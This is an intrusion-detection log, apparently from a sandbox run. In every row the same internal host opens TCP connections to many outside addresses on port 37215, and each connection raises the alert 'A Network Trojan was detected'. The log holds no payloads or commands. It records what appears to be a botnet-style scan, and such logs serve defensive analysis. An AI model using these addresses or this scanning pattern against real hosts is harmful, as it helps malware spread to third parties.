2024-10-08T20:35:17.943011+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54450	156.9.173.133	37215	TCP
2024-10-08T20:35:17.943128+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59298	197.76.150.216	37215	TCP
2024-10-08T20:35:17.945113+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37532	197.72.206.33	37215	TCP
2024-10-08T20:35:17.957163+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46438	197.216.205.44	37215	TCP
2024-10-08T20:35:17.961109+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38012	41.132.104.150	37215	TCP
2024-10-08T20:35:17.961334+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42346	41.126.206.191	37215	TCP
2024-10-08T20:35:17.962575+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48848	197.68.74.133	37215	TCP
2024-10-08T20:35:17.972691+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41158	197.206.159.179	37215	TCP
2024-10-08T20:35:17.976211+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41972	41.231.238.172	37215	TCP
2024-10-08T20:35:17.976684+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59618	197.84.253.185	37215	TCP
2024-10-08T20:35:18.019477+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40418	197.98.75.148	37215	TCP
2024-10-08T20:35:18.019686+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44456	156.243.42.146	37215	TCP
2024-10-08T20:35:18.073976+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33372	156.41.157.113	37215	TCP
2024-10-08T20:35:18.348823+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48214	41.72.218.17	37215	TCP
2024-10-08T20:35:18.956792+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46782	41.149.36.112	37215	TCP
2024-10-08T20:35:18.956992+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54546	41.168.12.102	37215	TCP
2024-10-08T20:35:18.973481+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46260	156.166.209.196	37215	TCP
2024-10-08T20:35:18.973624+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33810	156.126.147.159	37215	TCP
2024-10-08T20:35:18.973653+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48040	41.1.145.144	37215	TCP
2024-10-08T20:35:18.973715+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53964	197.41.200.182	37215	TCP
2024-10-08T20:35:18.973784+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36556	197.163.232.58	37215	TCP
2024-10-08T20:35:18.973956+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37822	156.190.184.19	37215	TCP
2024-10-08T20:35:18.974388+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40430	156.185.63.71	37215	TCP
2024-10-08T20:35:18.974947+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55492	197.55.132.116	37215	TCP
2024-10-08T20:35:18.975372+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40262	156.42.166.221	37215	TCP
2024-10-08T20:35:18.975442+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60550	156.240.192.197	37215	TCP
2024-10-08T20:35:18.977026+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34060	41.131.40.164	37215	TCP
2024-10-08T20:35:18.988277+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48998	41.249.12.127	37215	TCP
2024-10-08T20:35:18.988423+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34186	197.242.135.34	37215	TCP
2024-10-08T20:35:18.988622+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49546	197.69.143.158	37215	TCP
2024-10-08T20:35:18.990050+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52292	156.126.200.175	37215	TCP
2024-10-08T20:35:18.990067+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39984	197.22.60.61	37215	TCP
2024-10-08T20:35:18.990625+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42472	156.60.195.206	37215	TCP
2024-10-08T20:35:18.992407+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46152	197.107.207.131	37215	TCP
2024-10-08T20:35:18.992589+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39894	41.150.102.212	37215	TCP
2024-10-08T20:35:18.992777+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33972	41.113.31.144	37215	TCP
2024-10-08T20:35:18.994010+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37934	156.143.124.66	37215	TCP
2024-10-08T20:35:18.994045+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45060	41.218.37.60	37215	TCP
2024-10-08T20:35:18.994591+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47336	156.26.171.128	37215	TCP
2024-10-08T20:35:19.008006+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51348	197.116.210.230	37215	TCP
2024-10-08T20:35:19.957186+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46902	156.150.11.107	37215	TCP
2024-10-08T20:35:19.957196+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47628	197.99.192.124	37215	TCP
2024-10-08T20:35:19.957335+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45628	197.188.135.64	37215	TCP
2024-10-08T20:35:19.976541+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42350	197.148.38.33	37215	TCP
2024-10-08T20:35:19.976720+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34952	156.196.119.180	37215	TCP
2024-10-08T20:35:19.994262+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46252	197.240.193.198	37215	TCP
2024-10-08T20:35:20.009555+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42808	197.123.151.190	37215	TCP
2024-10-08T20:35:20.268057+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42870	156.229.60.94	37215	TCP
2024-10-08T20:35:20.574409+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54776	41.130.86.114	37215	TCP
2024-10-08T20:35:21.426150+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49980	156.174.103.73	37215	TCP
2024-10-08T20:35:21.426155+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54198	197.204.33.127	37215	TCP
2024-10-08T20:35:21.426155+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36872	41.135.155.163	37215	TCP
2024-10-08T20:35:21.426174+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54066	197.236.253.41	37215	TCP
2024-10-08T20:35:21.426183+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50910	197.179.205.141	37215	TCP
2024-10-08T20:35:21.426207+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54304	41.56.138.239	37215	TCP
2024-10-08T20:35:21.426219+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37114	197.30.59.26	37215	TCP
2024-10-08T20:35:21.426220+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59304	41.67.50.187	37215	TCP
2024-10-08T20:35:21.426234+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34370	197.177.162.81	37215	TCP
2024-10-08T20:35:21.426234+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47356	156.176.7.254	37215	TCP
2024-10-08T20:35:21.426246+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51014	41.125.67.250	37215	TCP
2024-10-08T20:35:21.426262+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36758	41.189.232.28	37215	TCP
2024-10-08T20:35:21.426281+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36270	41.197.11.205	37215	TCP
2024-10-08T20:35:21.426293+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43544	197.220.219.212	37215	TCP
2024-10-08T20:35:22.003617+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45876	156.198.32.25	37215	TCP
2024-10-08T20:35:22.003896+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45964	197.126.132.192	37215	TCP
2024-10-08T20:35:22.004217+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33836	41.74.171.135	37215	TCP
2024-10-08T20:35:22.004755+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42894	197.234.147.243	37215	TCP
2024-10-08T20:35:22.004798+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54898	41.115.157.223	37215	TCP
2024-10-08T20:35:22.020144+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51794	41.114.131.97	37215	TCP
2024-10-08T20:35:22.020450+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48536	41.130.30.224	37215	TCP
2024-10-08T20:35:22.020502+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52780	41.6.80.20	37215	TCP
2024-10-08T20:35:22.020709+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53310	197.190.56.127	37215	TCP
2024-10-08T20:35:22.020735+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36300	197.132.170.39	37215	TCP
2024-10-08T20:35:22.021288+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58506	197.224.174.122	37215	TCP
2024-10-08T20:35:22.021469+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57186	156.160.61.36	37215	TCP
2024-10-08T20:35:22.021596+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50236	156.184.10.160	37215	TCP
2024-10-08T20:35:22.021627+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55606	41.167.195.187	37215	TCP
2024-10-08T20:35:22.021805+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42526	197.110.33.52	37215	TCP
2024-10-08T20:35:22.023398+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49004	197.53.81.109	37215	TCP
2024-10-08T20:35:22.023858+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40192	41.87.89.221	37215	TCP
2024-10-08T20:35:22.034975+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50152	197.104.247.95	37215	TCP
2024-10-08T20:35:22.035338+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44772	156.86.188.100	37215	TCP
2024-10-08T20:35:22.035789+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37522	41.11.91.190	37215	TCP
2024-10-08T20:35:22.036809+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43516	41.34.19.233	37215	TCP
2024-10-08T20:35:22.041112+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56248	156.168.97.189	37215	TCP
2024-10-08T20:35:22.041219+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39174	197.89.103.45	37215	TCP
2024-10-08T20:35:22.041287+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46578	156.82.185.38	37215	TCP
2024-10-08T20:35:22.050747+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48924	41.95.1.72	37215	TCP
2024-10-08T20:35:22.052330+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46294	156.112.83.10	37215	TCP
2024-10-08T20:35:23.022185+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60574	156.18.184.170	37215	TCP
2024-10-08T20:35:23.035060+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55116	156.205.238.204	37215	TCP
2024-10-08T20:35:23.035391+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60436	197.79.207.43	37215	TCP
2024-10-08T20:35:23.035461+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45332	197.131.12.35	37215	TCP
2024-10-08T20:35:23.039126+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48596	156.100.216.217	37215	TCP
2024-10-08T20:35:24.050980+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44664	197.155.73.226	37215	TCP
2024-10-08T20:35:24.058167+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53388	197.201.120.93	37215	TCP
2024-10-08T20:35:24.070292+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54580	41.22.29.207	37215	TCP
2024-10-08T20:35:25.302841+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54578	156.253.100.178	37215	TCP
2024-10-08T20:35:25.395006+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50330	41.14.124.157	37215	TCP
2024-10-08T20:35:25.395020+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47930	197.23.250.142	37215	TCP
2024-10-08T20:35:25.395021+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40602	156.199.188.62	37215	TCP
2024-10-08T20:35:25.396944+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41756	197.111.180.37	37215	TCP
2024-10-08T20:35:25.410301+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50944	41.112.49.147	37215	TCP
2024-10-08T20:35:25.411054+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36302	197.77.38.156	37215	TCP
2024-10-08T20:35:25.412539+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45252	41.119.213.230	37215	TCP
2024-10-08T20:35:25.412680+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35340	197.124.118.66	37215	TCP
2024-10-08T20:35:25.412938+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37006	41.10.217.61	37215	TCP
2024-10-08T20:35:25.413281+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55672	41.158.117.220	37215	TCP
2024-10-08T20:35:25.413300+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36816	156.130.165.166	37215	TCP
2024-10-08T20:35:25.413526+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47700	41.204.0.196	37215	TCP
2024-10-08T20:35:25.427027+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54602	156.230.153.9	37215	TCP
2024-10-08T20:35:25.427209+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51388	41.191.129.144	37215	TCP
2024-10-08T20:35:25.427906+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58664	41.177.217.119	37215	TCP
2024-10-08T20:35:25.428361+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39728	156.99.131.88	37215	TCP
2024-10-08T20:35:25.429019+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42078	41.236.236.237	37215	TCP
2024-10-08T20:35:25.429059+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36272	41.135.54.131	37215	TCP
2024-10-08T20:35:25.429287+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54688	197.79.51.55	37215	TCP
2024-10-08T20:35:25.430126+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36670	197.163.71.112	37215	TCP
2024-10-08T20:35:25.430433+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39888	197.19.182.26	37215	TCP
2024-10-08T20:35:25.431025+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34428	156.240.231.230	37215	TCP
2024-10-08T20:35:25.431178+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34410	197.6.96.0	37215	TCP
2024-10-08T20:35:25.431182+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46946	197.189.33.115	37215	TCP
2024-10-08T20:35:25.431915+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54490	41.203.154.176	37215	TCP
2024-10-08T20:35:25.432121+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54662	156.151.8.61	37215	TCP
2024-10-08T20:35:25.432523+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42716	41.166.131.116	37215	TCP
2024-10-08T20:35:25.432527+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60892	156.140.155.227	37215	TCP
2024-10-08T20:35:25.432993+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58902	156.169.120.167	37215	TCP
2024-10-08T20:35:25.441158+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51898	197.193.254.199	37215	TCP
2024-10-08T20:35:25.441810+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53550	197.176.134.58	37215	TCP
2024-10-08T20:35:25.447332+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43342	197.208.164.200	37215	TCP
2024-10-08T20:35:25.447368+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56106	156.201.102.249	37215	TCP
2024-10-08T20:35:25.447398+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58436	197.253.164.163	37215	TCP
2024-10-08T20:35:25.447667+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54122	156.225.156.96	37215	TCP
2024-10-08T20:35:25.452587+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58826	41.186.147.30	37215	TCP
2024-10-08T20:35:25.461947+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58418	41.198.196.83	37215	TCP
2024-10-08T20:35:25.462164+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55614	41.27.74.157	37215	TCP
2024-10-08T20:35:25.464461+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37214	156.201.92.177	37215	TCP
2024-10-08T20:35:25.478591+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44064	41.61.133.151	37215	TCP
2024-10-08T20:35:25.479102+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50358	156.125.209.23	37215	TCP
2024-10-08T20:35:25.840498+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48460	156.235.52.108	37215	TCP
2024-10-08T20:35:26.367952+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33892	156.230.216.125	37215	TCP
2024-10-08T20:35:26.530210+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51340	156.48.80.206	37215	TCP
2024-10-08T20:35:26.530301+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42148	197.19.81.48	37215	TCP
2024-10-08T20:35:26.530494+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42504	41.118.15.27	37215	TCP
2024-10-08T20:35:26.536232+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40154	156.31.227.73	37215	TCP
2024-10-08T20:35:26.537019+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42864	41.205.30.77	37215	TCP
2024-10-08T20:35:27.394728+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44818	41.42.28.134	37215	TCP
2024-10-08T20:35:27.394874+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60888	41.142.249.137	37215	TCP
2024-10-08T20:35:27.394875+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47346	197.231.166.138	37215	TCP
2024-10-08T20:35:27.394965+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58544	41.21.247.171	37215	TCP
2024-10-08T20:35:27.395029+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48338	197.17.28.21	37215	TCP
2024-10-08T20:35:27.395052+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54122	41.88.234.119	37215	TCP
2024-10-08T20:35:27.395195+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57322	156.219.173.248	37215	TCP
2024-10-08T20:35:27.395197+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56126	41.216.112.25	37215	TCP
2024-10-08T20:35:27.395403+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38280	41.29.128.127	37215	TCP
2024-10-08T20:35:27.396583+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60338	41.143.130.151	37215	TCP
2024-10-08T20:35:27.399990+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36978	156.144.19.119	37215	TCP
2024-10-08T20:35:27.410078+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54602	41.89.207.159	37215	TCP
2024-10-08T20:35:27.410180+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39506	156.98.133.177	37215	TCP
2024-10-08T20:35:27.413899+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39536	197.229.113.227	37215	TCP
2024-10-08T20:35:27.414176+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34202	41.78.56.14	37215	TCP
2024-10-08T20:35:27.425843+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51792	197.95.239.198	37215	TCP
2024-10-08T20:35:27.430557+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41980	156.201.11.50	37215	TCP
2024-10-08T20:35:27.430864+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41818	197.7.216.247	37215	TCP
2024-10-08T20:35:27.441869+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47232	197.169.1.93	37215	TCP
2024-10-08T20:35:27.442266+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34258	156.32.63.232	37215	TCP
2024-10-08T20:35:27.442419+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42782	197.226.127.252	37215	TCP
2024-10-08T20:35:27.443644+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37920	41.1.90.143	37215	TCP
2024-10-08T20:35:27.445228+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47494	197.38.184.2	37215	TCP
2024-10-08T20:35:27.447843+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40754	156.50.145.109	37215	TCP
2024-10-08T20:35:27.458992+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49636	41.210.39.42	37215	TCP
2024-10-08T20:35:27.461107+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35474	156.144.175.111	37215	TCP
2024-10-08T20:35:27.461287+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58534	197.143.19.115	37215	TCP
2024-10-08T20:35:27.462614+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39410	41.161.116.202	37215	TCP
2024-10-08T20:35:27.462846+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51554	156.82.40.87	37215	TCP
2024-10-08T20:35:27.555147+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41950	197.96.181.109	37215	TCP
2024-10-08T20:35:28.215409+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42344	156.246.142.245	37215	TCP
2024-10-08T20:35:28.441009+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33642	197.3.22.47	37215	TCP
2024-10-08T20:35:28.442219+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47458	41.205.172.188	37215	TCP
2024-10-08T20:35:28.443146+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46740	41.18.45.176	37215	TCP
2024-10-08T20:35:28.443304+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33104	156.159.215.43	37215	TCP
2024-10-08T20:35:28.445648+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57490	41.33.177.207	37215	TCP
2024-10-08T20:35:28.457497+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58724	156.149.232.149	37215	TCP
2024-10-08T20:35:28.457506+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36926	197.3.188.150	37215	TCP
2024-10-08T20:35:28.458043+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39052	197.245.208.243	37215	TCP
2024-10-08T20:35:28.458060+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52092	197.124.168.211	37215	TCP
2024-10-08T20:35:28.458882+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48212	156.32.28.102	37215	TCP
2024-10-08T20:35:28.459142+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41726	156.216.122.165	37215	TCP
2024-10-08T20:35:28.460814+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38566	197.144.156.159	37215	TCP
2024-10-08T20:35:28.461035+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44438	156.137.110.173	37215	TCP
2024-10-08T20:35:28.463413+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43694	41.115.9.17	37215	TCP
2024-10-08T20:35:28.472806+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39306	197.157.99.105	37215	TCP
2024-10-08T20:35:28.474618+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57618	197.88.167.250	37215	TCP
2024-10-08T20:35:29.457208+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44464	41.86.59.25	37215	TCP
2024-10-08T20:35:29.472855+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60110	41.213.80.231	37215	TCP
2024-10-08T20:35:29.473577+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57354	156.79.184.202	37215	TCP
2024-10-08T20:35:29.474586+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58438	197.142.200.152	37215	TCP
2024-10-08T20:35:29.488833+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51034	41.182.51.171	37215	TCP
2024-10-08T20:35:29.490136+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38194	41.109.147.125	37215	TCP
2024-10-08T20:35:29.537940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50126	197.24.38.174	37215	TCP
2024-10-08T20:35:29.538049+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37950	41.18.225.153	37215	TCP
2024-10-08T20:35:29.538272+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50604	41.210.160.243	37215	TCP
2024-10-08T20:35:29.539828+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59234	41.191.9.217	37215	TCP
2024-10-08T20:35:29.542408+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33532	156.236.248.85	37215	TCP
2024-10-08T20:35:29.564138+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56124	156.155.53.3	37215	TCP
2024-10-08T20:35:29.928992+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51340	156.154.243.104	37215	TCP
2024-10-08T20:35:30.489473+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43100	156.130.157.23	37215	TCP
2024-10-08T20:35:30.489579+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49766	156.94.240.128	37215	TCP
2024-10-08T20:35:30.489613+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44114	156.61.64.209	37215	TCP
2024-10-08T20:35:30.489832+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51618	156.8.110.166	37215	TCP
2024-10-08T20:35:30.489920+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45622	197.221.29.33	37215	TCP
2024-10-08T20:35:30.490576+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51186	41.97.182.30	37215	TCP
2024-10-08T20:35:30.490756+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50050	156.5.216.107	37215	TCP
2024-10-08T20:35:30.490834+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38672	41.5.241.210	37215	TCP
2024-10-08T20:35:30.508340+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49170	41.76.188.140	37215	TCP
2024-10-08T20:35:30.525750+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54818	41.201.2.142	37215	TCP
2024-10-08T20:35:30.535994+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56442	156.20.35.147	37215	TCP
2024-10-08T20:35:30.552757+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45920	197.10.146.244	37215	TCP
2024-10-08T20:35:30.570288+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58014	197.171.117.231	37215	TCP
2024-10-08T20:35:31.504243+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36902	41.238.251.20	37215	TCP
2024-10-08T20:35:31.519304+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59536	156.22.179.209	37215	TCP
2024-10-08T20:35:31.519884+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55100	41.51.176.48	37215	TCP
2024-10-08T20:35:31.520081+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44220	41.138.80.222	37215	TCP
2024-10-08T20:35:31.520087+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60944	41.156.89.101	37215	TCP
2024-10-08T20:35:31.520225+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59510	41.68.115.180	37215	TCP
2024-10-08T20:35:31.520359+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34248	156.197.87.100	37215	TCP
2024-10-08T20:35:31.520745+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43430	41.232.176.143	37215	TCP
2024-10-08T20:35:31.520877+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55650	156.211.205.167	37215	TCP
2024-10-08T20:35:31.535622+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58988	156.4.233.47	37215	TCP
2024-10-08T20:35:31.537449+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35786	197.248.62.201	37215	TCP
2024-10-08T20:35:31.537636+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32864	41.133.102.6	37215	TCP
2024-10-08T20:35:31.537636+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58746	197.155.100.106	37215	TCP
2024-10-08T20:35:31.537819+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37170	156.247.83.122	37215	TCP
2024-10-08T20:35:31.539237+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60710	197.150.231.207	37215	TCP
2024-10-08T20:35:31.539506+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56054	156.95.220.26	37215	TCP
2024-10-08T20:35:31.539733+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56536	41.155.100.88	37215	TCP
2024-10-08T20:35:31.539901+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54962	197.235.171.37	37215	TCP
2024-10-08T20:35:31.540049+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55452	156.218.40.203	37215	TCP
2024-10-08T20:35:31.540182+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53216	156.231.160.220	37215	TCP
2024-10-08T20:35:31.541241+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40398	41.66.135.91	37215	TCP
2024-10-08T20:35:31.555165+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43010	156.91.150.64	37215	TCP
